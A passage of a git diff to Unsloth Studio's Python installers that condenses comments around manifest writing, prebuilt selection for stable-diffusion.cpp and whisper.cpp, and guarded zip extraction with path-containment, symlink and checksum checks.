- # before the core packages are installed, so an upgrade that itself leaves a
- # superseded record behind -- the exact state this repair exists for -- would
- # otherwise survive it. write_manifest would then record a null version and
- # the installer would report success while every later check rejects the
- # environment. A no-op when nothing is ambiguous.
+ # 14b. Repair again: a core upgrade can itself leave a superseded record before the manifest write.
if not _repair_duplicate_core_metadata(
(package_name, "unsloth-zoo"),
local_repo = local_repo,
@@ -13639,9 +12702,7 @@ def install_python_stack() -> int:
):
return 1
- # 14c. write_manifest reads the installed version, so a core package absent
- # or quarantined now is recorded as a finished install. The skip_base
- # handoff never reaches the core phase, so nothing else would see it.
+ # 14c. write_manifest reads the installed version; skip_base never reaches the core phase.
if not _repair_damaged_core_payload(
_core_package_names(package_name),
local_repo = local_repo,
@@ -13657,23 +12718,19 @@ def install_python_stack() -> int:
)
return 1
- # 15. Record success. Written last so an earlier kill leaves none. Exiting 0
- # without it reports a finished install every later check calls unfinished.
+ # 15. Record success, written last so an earlier kill leaves none.
if (
install_manifest.write_manifest(
req_root = REQ_ROOT,
steps_total = _TOTAL,
package_name = package_name,
no_torch = NO_TORCH,
- # A platform that never resolves a flavor carries the old record forward. An unknown-family
- # pin is the exception: the previous record describes a venv that no longer exists, and
- # writing it back would give a later unpinned run a flavor to "repair" the mirror's to.
+ # Carry the old record forward, except for an unknown-family pin, whose record no longer applies.
expected_torch_tag = _recordable_torch_flavor_tag(torch_flavor_tag),
expected_torch_tag_pinned = bool(_recordable_torch_flavor_tag(torch_flavor_tag))
and _expected_torch_flavor_was_pinned(_recordable_torch_flavor_tag(torch_flavor_tag)),
woa_torch_index = os.environ.get("UNSLOTH_WOA_SELECTED_TORCH_INDEX"),
- # What the NEXT run may skip. Digested from the CURRENT REQ_ROOT, which the core step
- # may have replaced: a file that moved during this pass must not read as unchanged.
+ # Digest the CURRENT REQ_ROOT: the core step may have replaced it.
extra = {
"pass_inputs": {
**install_manifest.pass_input_digests(REQ_ROOT),
@@ -13683,8 +12740,6 @@ def install_python_stack() -> int:
"known_unmet": _closure_record(),
# The installed set that record describes; honoured only against the same set.
"known_unmet_index": _installed_index_digest(),
- # What the AMD bitsandbytes repair left, so the next pass can tell it from a
- # pulled-in wheel.
"bnb_rocm": _BNB_ROCM_PASS_PROVENANCE,
"bnb_rocm_asset": _BNB_ROCM_PASS_ASSET,
"pip_check_ok": _pip_check_ok,
@@ -13701,18 +12756,8 @@ def install_python_stack() -> int:
)
return 1
- # 16. Apple Silicon: say so when the MLX stack this install just laid down is not
- # one Train can use. The gate is all-or-nothing across mlx, mlx-lm and mlx-vlm, and
- # a resolver backtrack (or an mlx-vlm built against a different transformers) leaves
- # packages present but unusable. Without this the install reports success and the app
- # silently comes up chat-only, telling the user to run the update that has just
- # finished.
- #
- # AFTER the manifest, not before it. The probe is advisory and out of process, and on
- # the host it exists for the imports are the ones that hang, so it can hold its full
- # timeout; run ahead of the manifest, a kill during that wait leaves every dependency
- # step done and no record of it, and verify-install, the desktop preflight and the
- # setup fast path all then call a complete install incomplete.
+ # 16. Apple Silicon: warn when the installed MLX stack is unusable, or the app silently comes up
+ # chat-only. After the manifest: the probe can hang its full timeout.
if IS_MAC_ARM and not NO_TORCH:
_report_mlx_stack_health(skipped = _STEP_RESULTS.get("mlx") == "skipped")
@@ -13724,11 +12769,7 @@ if __name__ == "__main__":
if sys.argv[1:] == ["--amd-torch-needs-dependency-pass"]:
# Exit 0 forces the dependency pass; exit 1 keeps the fast path.
_needs_pass = _amd_torch_needs_dependency_pass()
- # Exit 1 covers five states (no-torch venv, resolved non-ROCm backend, non-ROCm pin,
- # absent or masked AMD host, unreadable torch), so a CI failure here would otherwise
- # report a bare `assert 1 == 0` with both streams empty. setup.sh discards both
- # streams, so this costs the installer nothing. _TORCH_RUNTIME_PROBE is read, not
- # called, so no subprocess is added: None means an earlier gate answered first.
+ # Exit 1 covers five states, so name the deciding one for CI; setup.sh discards both streams.
_safe_print(
f"{_AMD_FASTPATH_DECISION_MARKER}needs_pass={_needs_pass} no_torch={NO_TORCH} "
f"is_linux={IS_LINUX} machine={platform.machine()!r} backend={_TORCH_BACKEND!r} "
diff --git a/studio/install_sd_cpp_prebuilt.py b/studio/install_sd_cpp_prebuilt.py
index 829b675678e..24a71f40443 100644
--- a/studio/install_sd_cpp_prebuilt.py
+++ b/studio/install_sd_cpp_prebuilt.py
@@ -26,7 +26,6 @@ import zipfile
from pathlib import Path, PurePosixPath, PureWindowsPath
from typing import Optional, Sequence
-# Same bootstrap as prebuilt_core.py: today only sd_cpp_backend.py prepares the path.
if __package__:
from .backend.utils.auth_safe import auth_safe_open
else:
@@ -35,7 +34,7 @@ else:
sys.path.insert(0, _STUDIO_DIR)
from backend.utils.auth_safe import auth_safe_open
-# Default source: the Unsloth mirror's CPU/Apple prebuilts (override with UNSLOTH_SD_CPP_REPO). GPU hosts run diffusers, so only CPU/Apple assets are needed.
+# GPU hosts run diffusers, so only CPU/Apple assets are needed.
DEFAULT_REPO = "unslothai/stable-diffusion.cpp"
UPSTREAM_FALLBACK_REPO = "leejet/stable-diffusion.cpp"
# Pinned for reproducibility; UNSLOTH_SD_CPP_TAG overrides (empty tracks latest) and a missing tag falls back to latest. The -u<id> suffix is the mirror's patch set: an unpatched build aborts on the default --cfg-scale and on --vae-on-cpu, and quantizes MiniMax-H3's 1-D norms into an output uncorrelated with its own bf16 reference (leejet/stable-diffusion.cpp#1861, #1862, #1863).
@@ -49,7 +48,6 @@ REPO = DEFAULT_REPO
_MIRROR_ONLY_TAG_RE = re.compile(r"^master-\d+-[0-9a-f]+-u[0-9a-f]+$")
-# What the managed directory records about the install it holds, so a later ensure_* can tell a CPU bundle from a CUDA one instead of reusing whatever binary happens to be on disk.
INSTALL_RECORD = ".unsloth-sd-cpp-install.json"
OWNERSHIP_MARKER = ".unsloth-studio-owned"
@@ -85,7 +83,7 @@ def installed_accelerator(root: Path) -> Optional[str]:
return val if isinstance(val, str) and val else None
-# Set ONLY when the on-disk record could not be written (install root -> snapshot): an unwritable record otherwise means the accelerator reads as the PREVIOUS one, or as unknown, forever, and either is a mismatch for a GPU target, so every later engine selection re-downloads the same multi-GB bundle. Keyed on the snapshot, so once anything else updates that file it wins again.
+# Set only when the on-disk record could not be written, else every engine pick re-downloads.
_INSTALLED_ACCELERATOR_MEMO: dict[str, tuple[str, Optional[str]]] = {}
@@ -98,9 +96,8 @@ def _raw_install_record(root: Path) -> Optional[str]:
return None
-# The same, for the bundle's sd-server capability. Memoised alongside the accelerator or not at all: with only half of it remembered, an unwritable record leaves a serverless install looking server-capable, and the load that finds a mismatched legacy server keeps reinstalling.
+# Memoised together with the accelerator or not at all, or a serverless install looks server-capable.
_INSTALLED_SHIPS_SERVER_MEMO: dict[str, bool] = {}
-# The same for the pin: an unwritable record still names the old one, which re-downloads on every load.
_INSTALLED_PIN_MEMO: dict[str, tuple[Optional[str], Optional[str]]] = {}
@@ -121,13 +118,12 @@ def _write_install_record(
) -> None:
"""Record what this install is, so a later ensure_* can tell a CPU bundle from a GPU one. The write itself stays best-effort (a metadata failure must not throw away binaries that extracted correctly) but the answer is memoised either way, so this process never re-installs what it just installed."""
klass = accelerator_class(accelerator)
- # The pin this install was FOR: a fallback (upstream / latest) tag never equals it.
+ # The pin this install was for; a fallback tag never equals it.
rec: dict = {"accelerator": klass, "repo": repo, "tag": tag, "requested_tag": _pinned_tag()}
if ships_server is not None:
rec["ships_server"] = ships_server
_INSTALLED_SHIPS_SERVER_MEMO[str(root)] = ships_server
else:
- # An install that did not report the capability must not leave an older memo standing in for this one: the tree is now whatever this bundle put there.
_INSTALLED_SHIPS_SERVER_MEMO.pop(str(root), None)
try:
with open(root / INSTALL_RECORD, "w", encoding = "utf-8") as f:
@@ -174,7 +170,7 @@ def install_is_stale(root: Path) -> bool:
have = rec.get("tag")
if not isinstance(have, str) or not have:
return False
- # Pre-requested_tag records: the mirror tag, or its upstream release on hosts the mirror does not build.
+ # Pre-requested_tag records: the mirror tag, or its upstream release.
return have not in (want, upstream_tag_for(want))
@@ -250,7 +246,7 @@ def resolve_release_asset(
return pool[0] if pool else None
if system == "windows":
- # Filter by host arch: an arm64 host must not install an unrunnable x64 sd-cli. No match returns None so the caller falls back.
+ # Filter by host arch: arm64 must not install an x64 sd-cli.
pool = [a for a in zips if "bin-win" in a.lower() and any(t in a.lower() for t in arch)]
if accel in ("auto", "cpu"):
pool = [a for a in pool if not any(m in a.lower() for m in _ACCEL_MARKERS)]
@@ -260,7 +256,7 @@ def resolve_release_asset(
sel = _prefer_cuda_major(sel, cuda_major or "12")
if sel:
return sel[0]
- # An explicit GPU accelerator with no asset returns None, so the caller falls back instead of installing a CPU build.
+ # Explicit GPU accelerator with no asset returns None, so the caller falls back.
if accel in ("cuda", "vulkan", "rocm"):
return None
cpu = [a for a in pool if "avx2" in a.lower()]
@@ -268,7 +264,6 @@ def resolve_release_asset(
pool = [a for a in zips if "linux" in a.lower() and any(t in a.lower() for t in arch)]
if accel in ("cuda", "vulkan", "rocm"):
- # Explicit GPU accelerator: require its marker, never hand back a plain CPU build.
marker = _LINUX_ACCEL_TOKEN.get(accel, accel)
sel = [a for a in pool if marker in a.lower()]
if accel == "cuda":
@@ -437,7 +432,7 @@ def _tree_has_binaries(root: Path) -> bool:
def _discard_superseded_binaries(root: Path, supplied: set[Path]) -> None:
"""Remove managed sd-cli / sd-server copies this bundle did NOT write. Extraction MERGES into the tree, so a bundle whose layout differs from the previous one (or that ships no server at all) leaves the old accelerator's executables behind, and ``_layout_candidates`` prefers ``build/bin`` over the prebuilt's versioned subdirectory so the stale one keeps winning. Nothing downstream repairs that: a leftover binary is still RUNNABLE so ``_usable_or_discard_managed`` keeps it, and once the record names the new accelerator ``_accelerator_changed`` trusts the tree and serves the old build forever. Raises when a copy cannot go, which withholds the record and makes the next load retry."""
names = _binary_names()
- # Resolved HERE, not when ``supplied`` was built: the tree is final only now, and extraction may have replaced a directory symlink a member path was spelled through.
+ # Resolved here: extraction may have replaced a directory symlink a member path went through.
keys = {_binary_key(p) for p in supplied}
for name in names:
for found in sorted(root.rglob(name)):
@@ -476,14 +471,14 @@ def _download(
shutil.copyfileobj(resp, f)
-# PATH_MAX: a link payload is a pathname and ``zf.read`` holds it in memory, so anything larger is a decompression bomb rather than a library name.
+# PATH_MAX: a larger link payload is a decompression bomb.
_MAX_LINK_TARGET_BYTES = 4096
-# What Linux allows before ELOOP, so a deeper layout is one the loader could not read anyway.
+# Linux ELOOP limit.
_MAX_LINK_DEPTH = 40
-# Creators whose ``external_attr`` high bits are a Unix ``st_mode``: 3 (Info-ZIP, CPython) and 19 (Apple's ditto, same layout). FAT and NTFS keep DOS attribute flags there, so reading a mode out of one would invent symlinks the archive never described.
+# Creators whose external_attr high bits are a Unix st_mode (Info-ZIP, Apple ditto); FAT/NTFS are not.
_UNIX_CREATORS = (3, 19)
@@ -500,7 +495,7 @@ def _checked_link_target(
raise RuntimeError(f"oversized symlink target in archive: {member.filename!r}")
link_target = zf.read(member).decode("utf-8", "surrogateescape")
unsafe = (
- # Shape first: resolve() stats the path, and a NUL in it raises ValueError.
+ # Shape first: resolve() raises ValueError on a NUL.
not link_target
or "\x00" in link_target
or PurePosixPath(link_target).is_absolute()
@@ -508,7 +503,7 @@ def _checked_link_target(
)
if not unsafe:
resolved = (dest.parent / link_target).resolve()
- # Self-check lexically: dest may already be a correct link to this very target.
+ # Self-check is lexical: dest may already be a correct link to this target.
unsafe = os.path.normpath(dest.parent / link_target) == os.path.normpath(dest) or (
resolved != base and base not in resolved.parents
)
@@ -552,13 +547,13 @@ def _plan_key(dest: Path, base: Path, replaced: set[str], archive: dict) -> Path
def _safe_extractall(zf: zipfile.ZipFile, target: Path) -> None:
"""``extractall`` with a per-member containment check, so an archive carrying an absolute path or a ``..`` entry can't write outside ``target`` (Zip-Slip). Symlink members are RECREATED rather than extracted: CPython's ``zipfile`` writes a symlink's payload as a regular file, which flattens the ``lib*.so`` links upstream sd.cpp releases ship and leaves ``sd-cli`` with ``file too short`` libraries (#9268). Everything is decided BEFORE the first write, so a refused archive leaves the install exactly as it was."""
base = target.resolve()
- # The installer writes these itself. A link at one makes _write_install_record follow it and overwrite the target while the record still reads back, so a broken install reports success.
+ # A link at these would make _write_install_record overwrite its target.
reserved = {base / INSTALL_RECORD, base / OWNERSHIP_MARKER}
links: list[tuple[Path, str, zipfile.ZipInfo]] = []
plain: list[zipfile.ZipInfo] = []
written: list[tuple[Path, str]] = []
for member in zf.infolist():
- # extractall DROPS ".." instead of cancelling the component before it, so "a/.." is "a" to it and normalising here would check a path it never writes. No release ships one.
+ # extractall drops '..' rather than cancelling the prior component, so do not normalise.
if ".." in PurePosixPath(member.filename).parts:
raise RuntimeError(f"unsafe path in archive: {member.filename!r}")
dest = Path(os.path.normpath(base / member.filename))
@@ -572,7 +567,7 @@ def _safe_extractall(zf: zipfile.ZipFile, target: Path) -> None:
links.append((dest, _checked_link_target(zf, member, dest, base), member))
else:
plain.append(member)
- # No member may sit under a directory this archive turns into a link: extraction would write through it, and catching that at creation time means part of the tree is already replaced.
+ # No member may sit under a directory this archive turns into a link.
link_dests = {d for d, _, _ in links}
for dest, filename in written:
for parent in dest.parents:
@@ -585,13 +580,12 @@ def _safe_extractall(zf: zipfile.ZipFile, target: Path) -> None:
replaced = {str(d) for d, _ in written}
archive = {str(d): t for d, t, _ in links}
replaced |= {str(_plan_key(d, base, replaced, archive)) for d, _ in written}
- # A member path is not where the link lands: a previous bundle's alias -> . puts alias/<record> on the record itself, which a lexical compare misses. Same for a directory already there.
+ # Compare landing points, not member paths: an existing alias -> . aliases the record.
keys = {str(d): _plan_key(d, base, replaced, archive) for d, _, _ in links}
for dest, link_target, member in links:
key = keys[str(dest)]
if key in reserved:
raise RuntimeError(f"symlink at a reserved installer path: {member.filename!r}")
- # Nor may one POINT at them: the marker is already there on a root Unsloth owns, so sd-cli -> marker leaves _locate_sd_cli reporting an empty file as the executable.
landing = _plan_resolve(
Path(os.path.normpath(key.parent / link_target)), base, replaced, archive
)
@@ -599,7 +593,7 @@ def _safe_extractall(zf: zipfile.ZipFile, target: Path) -> None:
raise RuntimeError(f"symlink onto a reserved installer path: {member.filename!r}")
if key.is_dir() and not key.is_symlink():
raise RuntimeError(f"symlink member collides with a directory: {member.filename!r}")
- # Chains are normal (libwebp.so -> .so.7 -> .so.7.2.0) but must terminate: a cycle installs a library nothing can read, so every load reinstalls it. Walk the graph the tree WILL have, keyed by landing point so alias/a and real/b count as one cycle.
+ # Link chains must terminate; walk the final graph keyed by landing point to catch cycles.
by_dest = {str(keys[str(d)]): t for d, t, _ in links}
for dest, _, member in links:
seen, cur, hops = set(), str(keys[str(dest)]), 0
@@ -611,22 +605,20 @@ def _safe_extractall(zf: zipfile.ZipFile, target: Path) -> None:
nxt = os.readlink(cur)
else:
break
- # Counted per hop FOLLOWED, not per node seen: the file a chain ends at is not a traversal. A chain the kernel cannot walk is unreadable for the same reason a cycle is, and terminating does not save it, so it is refused rather than installed.
hops += 1
if hops > _MAX_LINK_DEPTH:
raise RuntimeError(f"symlink chain too deep in archive: {member.filename!r}")
nxt = Path(os.path.normpath(os.path.join(os.path.dirname(cur), nxt)))
- # a -> a/x never reaches a second node, so repetition never fires, yet resolving a walks a again. Anything under the link is a loop.
+ # a -> a/x never repeats a node but still loops.
if Path(cur) in nxt.parents:
raise RuntimeError(f"symlink cycle in archive: {member.filename!r}")
cur = str(_plan_key(nxt, base, replaced, archive))
else:
raise RuntimeError(f"symlink cycle in archive: {member.filename!r}")
- # Last thing decided before the first write: can this filesystem hold links at all? Some mounts (exFAT, SMB without unix extensions) refuse, and learning that at creation time means extractall has already put the new binary over the working one.
+ # Probe symlink support before any write (exFAT, SMB refuse links).
if links:
- # extractall would create the tree itself, so the probe must not be what needs it first.
base.mkdir(parents = True, exist_ok = True)
- # A probe a killed install left behind must not answer for this one: symlink_to raises EEXIST on an existing path, which reads below as "no symlink support", and a restarted container reuses the pid. Sweep stragglers and take a unique name so a concurrent install cannot collide either.
+ # Sweep stale probes and use a unique name: EEXIST would read as no symlink support.
for stale in base.glob(".unsloth-symlink-probe-*"):
try:
stale.unlink()
@@ -639,14 +631,13 @@ def _safe_extractall(zf: zipfile.ZipFile, target: Path) -> None:
if sys.platform != "win32":
raise RuntimeError(f"this filesystem cannot store symlinks: {exc}") from exc
else:
- # missing_ok: a concurrent install's sweep may have taken this one already.
probe.unlink(missing_ok = True)
for dest, _ in written:
if dest.is_symlink():
dest.unlink()
zf.extractall(target, members = plain)
for dest, link_target, member in links:
- # Re-resolved HERE: an earlier member can turn a later member's parent into a link and send this outside base. Both ends are checked for containment, not for being link-free.
+ # Re-resolved here: an earlier member can turn this parent into a link outside base.
parent = Path(os.path.realpath(dest.parent))
resolved = (dest.parent / link_target).resolve()
if (parent != base and base not in parent.parents) or (
@@ -661,12 +652,12 @@ def _safe_extractall(zf: zipfile.ZipFile, target: Path) -> None:
try:
dest.symlink_to(link_target)
except OSError as exc:
- # Windows outside developer mode cannot create a link and every Windows asset ships plain files, so flattening costs nothing there; elsewhere a refusal means the filesystem cannot hold the layout (#9268).
+ # Windows assets ship plain files, so flattening is safe there.
if sys.platform != "win32":
raise RuntimeError(
f"could not restore the symlink {member.filename!r}: {exc}"
) from exc
- # Load-bearing assumption: no published Windows asset ships a symlink member. If that ever changes, this branch produces the #9268 install silently while the one above it raises, and it should be revisited rather than left as a fallback.
+ # Assumes no Windows asset ships a symlink member; revisit if that changes.
zf.extract(member, target)
@@ -688,7 +679,7 @@ def _maybe_fetch_windows_cudart(release: dict, chosen: str, target: Path) -> Non
print(f"downloading CUDA runtime {cudart['name']} ...", flush = True)
try:
_download(cudart["browser_download_url"], dest)
- # Verify integrity BEFORE extracting: these DLLs load into sd-cli.exe, so a tampered archive must be rejected.
+ # Verify before extracting: these DLLs load into sd-cli.exe.
_verify_sha256(dest, cudart.get("digest"))
with zipfile.ZipFile(dest) as zf:
_safe_extractall(zf, target)
@@ -734,19 +725,17 @@ def _resolve_with_fallback(
"""Resolve ``(used_repo, release, asset_name)`` for this host across the primary repo and, only when the built-in default is in use and the user did not pin a repo, the upstream fallback. Ordering guarantees reproducibility: a pinned tag is tried EXACTLY on every candidate repo before any repo's unpinned latest, so a mirror missing the pinned release prefers the pinned upstream build over an unpinned mirror-latest. Returns ``(primary, None, None)`` when nothing serves this host. Shared by ``install`` and ``--print-asset`` so both honour the same fallback."""
tag = _pinned_tag()
primary = _repo()
- # Only substitute upstream when no UNSLOTH_SD_CPP_REPO is pinned: an explicit repo gets exactly that repo.
+ # An explicit UNSLOTH_SD_CPP_REPO gets exactly that repo, no upstream fallback.
repo_pinned = bool((os.environ.get("UNSLOTH_SD_CPP_REPO") or "").strip())
allow_upstream = (
not repo_pinned and primary == DEFAULT_REPO and DEFAULT_REPO != UPSTREAM_FALLBACK_REPO
)
mirror_only = is_mirror_only_tag(tag)
- # (repo, tag_to_fetch, allow_latest): with a pin, try the exact pin on every repo first, then each repo's latest.
attempts: list[tuple[str, Optional[str], bool]] = []
if tag:
attempts.append((primary, tag, False))
if allow_upstream:
- # The mirror's own tag does not exist upstream.
attempts.append((UPSTREAM_FALLBACK_REPO, upstream_tag_for(tag), False))
attempts.append((primary, None, True))
if allow_upstream:
@@ -762,13 +751,13 @@ def _resolve_with_fallback(
)
if release is not None and chosen:
if repo != primary:
- # stderr, not stdout: --print-asset documents its stdout as the asset name only.
+ # stderr: --print-asset reserves stdout for the asset name.
print(
f"falling back to {repo} for {platform.system()}/{platform.machine()}",
file = sys.stderr,
flush = True,
)
- # A mirror-only pin means the shipped default carries fixes upstream has not released. Falling back beats no native engine, but the H3 failures are SILENT (it renders, just wrongly), so this has to be said out loud rather than left to the generic line above.
+ # Upstream fallback renders H3 wrongly without error, so warn loudly.
if mirror_only:
print(
f"warning: {repo} has no {tag}; this build lacks the MiniMax-H3 fixes, "
@@ -791,7 +780,7 @@ def install(
) -> Path:
"""Download and extract the prebuilt for this host, returning the sd-cli path. Resolves against the Unsloth mirror (``DEFAULT_REPO``) first; if the mirror cannot serve this host AND the default repo is in use, falls back to leejet upstream so native install still works. Raises ``RuntimeError`` only when neither source has an asset for the host, or the archive has no ``sd-cli``."""
target = install_dir or default_install_dir()
- # Claim ownership of `target` only if we created it, it was empty, or it is already marked: adopting a user's non-empty dir would let a later uninstall wipe it.
+ # Own target only if created, empty or marked, else uninstall could wipe user files.
marker = target / OWNERSHIP_MARKER
_may_own = True
if target.exists():
@@ -802,7 +791,6 @@ def install(
except OSError:
_pre_existing_entries = True
_may_own = (not _pre_existing_entries) or marker.is_file()
- # Refuse to extract into a pre-existing non-empty dir we do not own: merging would overwrite the user's files.
if not _may_own:
raise RuntimeError(
f"sd.cpp install target already exists and is not an Unsloth-managed directory: {target}. "
@@ -822,14 +810,14 @@ def install(
asset = next(a for a in release["assets"] if a["name"] == chosen)
url = asset["browser_download_url"]
target.mkdir(parents = True, exist_ok = True)
- # Claim ownership BEFORE any partial write: an interrupted extract leaves the target non-empty.
+ # Claim ownership before any partial write.
if _may_own:
try:
marker.touch()
except OSError:
pass
archive = target / chosen
- # Set the moment the tree stops being purely the OLD bundle. From then on every later failure has to be reported as an incomplete replacement, not as "this accelerator is unavailable".
+ # Once set, later failures are reported as an incomplete replacement.
replacing = False
print(f"downloading {chosen} -> {archive}", flush = True)
try:
@@ -838,17 +826,17 @@ def install(
print("extracting ...", flush = True)
with zipfile.ZipFile(archive) as zf:
supplied = _archive_binary_paths(zf, target)
- # The boundary opens HERE, not at the sweep, whenever an existing bundle is about to gain a SECOND copy of a binary: zipfile rewrites members in place, so an interrupted extract leaves the old sd-cli truncated, and a different layout is the same problem because the new copy WINS the next lookup without having had the sweep, _make_executable, or the cudart DLLs. Treating that as an ordinary failure makes ensure_* memoise the half-finished copy for the rest of the process. A first install has nothing to compete with, so it stays ordinary.
+ # zipfile rewrites in place, so a second copy over an existing bundle opens the replacement boundary.
replacing = bool(supplied) and _tree_has_binaries(target)
_safe_extractall(zf, target)
- # Nothing is swept until this bundle is known to have supplied the one binary the install cannot do without, or the sweep deletes the working sd-cli kept for exactly this failure.
+ # Do not sweep until the bundle supplied sd-cli, or the working copy is lost.
cli_name = _binary_names()[0]
if not any(p.name == cli_name for p in supplied):
raise RuntimeError(f"archive {chosen} contained no sd-cli binary")
- # Still before the sweep, so a failure costs nothing extra while the old copies stand; nothing it writes is an sd-cli or sd-server, so the sweep cannot take it. Windows CUDA builds need the separately-published cudart runtime DLLs, and when the extract above already overwrote them ``replacing`` is what makes this report as an incomplete replacement instead of a missing accelerator.
+ # Before the sweep, so a cudart failure leaves the old copies standing.
_maybe_fetch_windows_cudart(release, chosen, target)
if _may_own:
- # Set BEFORE the call, not after: the sweep removes copies one at a time, so a failure inside it has already changed the tree. Extraction merges, so anything the previous bundle put somewhere this one does not write survives and outranks the new copy whenever its path sorts higher; drop what this bundle did not supply. LAST, and past it the tree is mixed whatever the layout was, so the caller has to retry the sweep rather than memoise the accelerator as unavailable.
+ # Set before the sweep: it removes copies one by one, so a failure leaves a mixed tree.
replacing = True
_discard_superseded_binaries(target, supplied)
except SupersededBinaryError:
@@ -860,7 +848,7 @@ def install(
f"the managed tree was left part way through a replacement: {exc}"
) from exc
finally:
- # Always drop the archive: a corrupt or partial one must not linger and defeat a later retry. Inside the boundary too: an unlink failure after the sweep is still a mixed tree.
+ # Always drop the archive so a corrupt one cannot defeat a retry.
try:
archive.unlink(missing_ok = True)
except OSError as exc:
@@ -876,7 +864,6 @@ def install(
if sys.platform != "win32":
_make_executable(sd_cli)
print(f"installed sd-cli -> {sd_cli}", flush = True)
- # The same archive ships the persistent sd-server; make it runnable so the native backend can prefer it.
sd_server = _locate_sd_server(target)
if sd_server is not None and sys.platform != "win32":
_make_executable(sd_server)
@@ -890,17 +877,16 @@ def install(
raise SupersededBinaryError(
f"the managed tree was left part way through a replacement: {exc}"
) from exc
- # Written only now, on a complete install: a record naming an accelerator whose binaries never finished extracting would suppress the very reinstall that repairs it. Only for a directory we own, since an unowned one is the user's build.
+ # Write the record only on a complete install in a directory we own.
if _may_own:
_write_install_record(
target,
accelerator = accelerator,
repo = used_repo,
tag = release.get("tag_name"),
- # Read off the archive's MEMBER LIST, so "this bundle is serverless" is recorded fact: a leftover server from an earlier bundle is indistinguishable on disk.
+ # From the member list: a leftover server on disk is indistinguishable.
ships_server = any(p.name == _binary_names()[1] for p in supplied),
)
- # The ownership marker was written before extraction, so a crashed partial install is still recognised as ours.
return sd_cli
@@ -919,7 +905,6 @@ def main(argv: Optional[list[str]] = None) -> int:
args = p.parse_args(argv)
if args.print_asset:
- # Same primary/fallback resolution as install(), so a host the mirror skips reports the upstream asset, not a false miss.
try:
_used, _release, chosen = _resolve_with_fallback(
args.accelerator, None, args.cuda_major
diff --git a/studio/install_whisper_prebuilt.py b/studio/install_whisper_prebuilt.py
index f282722bb29..3429d86dda6 100644
--- a/studio/install_whisper_prebuilt.py
+++ b/studio/install_whisper_prebuilt.py
@@ -66,8 +66,6 @@ from dataclasses import dataclass, replace
from pathlib import Path
from typing import Any, Iterable
-# Put studio/ on sys.path so install_llama_prebuilt / prebuilt_core resolve whether run as a script
-# from any cwd or imported by the tests.
_STUDIO_DIR = os.path.dirname(os.path.abspath(__file__))
if _STUDIO_DIR not in sys.path:
sys.path.insert(0, _STUDIO_DIR)
@@ -75,8 +73,7 @@ if _STUDIO_DIR not in sys.path:
import install_llama_prebuilt as llama # noqa: E402
import prebuilt_core as core # noqa: E402
-# Shared machinery re-exported as module globals; the wrappers below resolve these by bare name at
-# call time so tests can monkeypatch them here.
+# Re-exported as globals so tests can monkeypatch them here.
PrebuiltFallback = core.PrebuiltFallback
BusyInstallConflict = core.BusyInstallConflict
auth_headers = llama.auth_headers
@@ -101,18 +98,13 @@ llama_detect_host = llama.detect_host
installed_llama_runtime = llama.installed_llama_runtime
installed_llama_ggml_tree = llama.installed_llama_ggml_tree
-# Late-binding seam for prebuilt_core: name lookups hit this module's globals first, so
-# monkeypatches apply, then the core defaults.
_OPS = core.ModuleOps(globals())
-# Resolver mode keeps stdout to the JSON payload only (setup.sh parses it); main() flips this on
-# for the install path so setup surfaces progress.
+# Resolver mode keeps stdout JSON-only (setup.sh parses it).
_LOG_TO_STDOUT = False
-# Raised by prebuilt_core when a fetched release cannot be trusted; re-exported so this
-# module's callers can name it without importing core.
ReleaseIntegrityError = core.ReleaseIntegrityError
@@ -146,27 +138,19 @@ SCHEMA_VERSION = 1
USER_AGENT = "unsloth-studio-whisper-prebuilt"
DEFAULT_PUBLISHED_REPO = "unslothai/whisper.cpp"
-# Release assets published by the fork's prebuilt CI.
MANIFEST_ASSET_NAME = "whisper-prebuilt-manifest.json"
SHA256_ASSET_NAME = "whisper-prebuilt-sha256.json"
METADATA_FILENAME = "UNSLOTH_WHISPER_PREBUILT_INFO.json"
-# Backends the installer can select: accelerator identities for the slim pairing (which llama ggml
-# module must exist) and the marker. Only "cpu" can match a fat artifact, the pinned escape hatch.
+# Only "cpu" can match a fat artifact (the pinned escape hatch).
SUPPORTED_BACKENDS = ("cpu", "cuda", "metal", "vulkan", "rocm")
-# Fallback on a GPU-selection miss: retry with cpu so the slim bundle can pair via the llama cpu
-# modules, or the published fat CPU bundle installs on a pinned pre-slim release.
FALLBACK_BACKEND = "cpu"
-# Backends whose slim (ggml-less) whisper bundle can ride the installed llama.cpp prebuilt's ggml
-# runtime. All are eligible: the next whisper release ships only slim bundles.
SLIM_ELIGIBLE_BACKENDS = ("cpu", "cuda", "metal", "rocm", "vulkan")
# ggml backend module the llama bin dir must provide per accelerator.
-# llama's x64 cpu bundles ship per-arch libggml-cpu-<variant> modules and macOS a single libggml-cpu, so the cpu globs
-# cover both; a backend with no glob for the host os (metal off macOS) is never slim there.
SLIM_BACKEND_MODULE_GLOBS = {
"cpu": {
"linux": "libggml-cpu*.so*",
@@ -180,10 +164,7 @@ SLIM_BACKEND_MODULE_GLOBS = {
"vulkan": {"linux": "libggml-vulkan.so*", "windows": "ggml-vulkan.dll"},
}
-# Everything the slim wiring mirrors from the llama bin dir: core ggml sonames plus every dlopen'd
-# backend module. libomp* rides along because llama's clang-built slices link ggml against the LLVM
-# OpenMP runtime and ship it in the bundle, so the loader can never find it on the host; Linux x64
-# and macOS ship none, so the globs match nothing there.
+# libomp*: llama's clang-built slices link ggml against bundled LLVM OpenMP.
SLIM_GGML_LIBRARY_GLOBS = (
"libggml*",
"ggml*.dll",
@@ -197,19 +178,14 @@ SLIM_ROCM_LIBRARY_GLOBS = (
"libhsa*.so*",
"libroc*.so*",
)
-# Kernel catalogs a linux ROCm llama bundle can ship, mirrored into the whisper bin dir so the
-# packaged libraries find their Tensile kernels beside them.
SLIM_ROCM_RUNTIME_DIRS = ("hipblaslt", "rocblas")
-# Of those, the ones a paired runtime must actually carry.
SLIM_ROCM_REQUIRED_RUNTIME_DIRS = ("rocblas",)
-# 3: libomp*.so*/dylib joined the wiring.
+# Bump when the wiring set changes.
SLIM_RUNTIME_WIRING_VERSION = 3
INSTALL_STAGING_ROOT_NAME = ".staging"
-# Master switch for the staged runtime smoke test, off by default so a bundle whose GPU forward
-# pass JIT-compiles kernels does not stall every install. The check and its CPU-asset retry are
-# intact: set True to re-enable.
+# Off by default: GPU kernel JIT on the first forward pass stalls installs.
_RUN_STAGED_PREBUILT_VALIDATION = False
@@ -227,8 +203,7 @@ class HostInfo:
has_usable_nvidia: bool = False
has_rocm: bool = False
rocm_gfx: str | None = None
- # (major, minor) from platform.mac_ver(); None off macOS or if unparseable.
- # Enforces a macOS artifact's min_os so a bundle that cannot load on this OS version is never picked.
+ # Enforces a macOS artifact's min_os.
